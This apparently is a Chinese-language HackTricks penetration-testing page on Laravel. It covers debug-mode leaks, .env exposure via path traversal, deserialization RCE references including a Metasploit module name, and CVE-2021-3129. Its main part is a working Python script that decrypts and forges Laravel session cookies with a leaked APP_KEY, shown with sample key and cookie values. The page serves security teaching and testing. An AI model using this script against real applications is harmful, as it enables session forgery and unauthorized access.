# Laravel
从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！ * 您在**网络安全公司**工作吗？ 想要看到您的**公司在HackTricks中做广告**？ 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs收藏品**](https://opensea.io/collection/the-peass-family) * 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。
## Laravel技巧 ### 调试模式 如果Laravel处于**调试模式**，您将能够访问**代码**和**敏感数据**。\ 例如 `http://127.0.0.1:8000/profiles`: ![](/files/W9iY2Y0vioIne6kzaKEy) 这通常用于利用其他Laravel RCE CVEs。 ### .env Laravel将用于加密cookie和其他凭据的APP保存在名为`.env`的文件中，可以通过一些路径遍历在`/../.env`下访问。 Laravel还将在调试页面中显示此信息（当Laravel发现错误并激活时会出现）。 使用Laravel的秘密APP\_KEY，您可以解密和重新加密cookie： ### 解密Cookie ```python import os import json import hashlib import sys import hmac import base64 import string import requests from Crypto.Cipher import AES from phpserialize import loads, dumps #https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3 def mcrypt_decrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.decrypt(value) def mcrypt_encrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.encrypt(value) def decrypt(bstring): global key dic = json.loads(base64.b64decode(bstring).decode()) mac = dic['mac'] value = bytes(dic['value'], 'utf-8') iv = bytes(dic['iv'], 'utf-8') if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode() return '' def encrypt(string): global key iv = os.urandom(16) #string = dumps(string) padding = 16 - len(string) % 16 string += bytes(chr(padding) * padding, 'utf-8') value = base64.b64encode(mcrypt_encrypt(string, iv)) iv = base64.b64encode(iv) mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest() dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac} return base64.b64encode(bytes(json.dumps(dic), 'utf-8')) app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=' key = base64.b64decode(app_key) decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9') #b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}') ``` ### Laravel反序列化RCE 受影响版本：5.5.40和5.6.x至5.6.29 () 在这里你可以找到有关反序列化漏洞的信息： 你可以使用进行测试和利用\ 或者你也可以使用metasploit进行利用：`use unix/http/laravel_token_unserialize_exec` ### CVE-2021-3129 另一个反序列化漏洞： ### Laravel SQL注入 阅读有关此内容的信息：
从零开始学习AWS黑客技术，成为专家 htARTE (HackTricks AWS Red Team Expert)！ * 你在**网络安全公司**工作吗？想要在**HackTricks中看到你的公司广告**？或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**？查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) * **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享你的黑客技巧**。
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